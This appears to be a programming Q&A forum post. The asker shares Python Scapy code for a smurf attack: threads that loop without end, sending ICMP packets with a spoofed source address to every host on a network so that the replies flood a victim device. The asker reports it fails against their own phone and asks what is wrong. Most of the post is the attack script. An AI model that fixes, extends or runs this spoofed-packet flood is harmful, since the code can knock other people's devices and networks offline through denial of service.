title: ICMP spoofing won't flood Victim [Python Scapy]
body: <p>I have been trying to perform a smurf attack on my phone, I have been using scapy in python to create spoofed ICMP pakcets with the spoofed source as my phone. I then sent these packets to all computers on the network (IPs are present the list <code>send_icmp</code>) repeatedly. However, my phone kept on connecting to the internet fine. What's wrong? Here's my code:</p>
  
  <pre><code>def smurf(victim):
  
      for ip in send_icmp:
          t = threading.Thread(target = __send_spoofed_icmp, args = (ip,victim))
          t.daemon = True
          t.start()
          icmp_threads.append(t)
  
      for t in icmp_threads:
          t.join()
  
  def __send_spoofed_icmp(ip,victim):
      print("[+] Sending packets to "+ip)
      packet = IP(src=victim,dst=ip)/ICMP()
      while 1:
          send(packet,verbose = 0)
  </code></pre>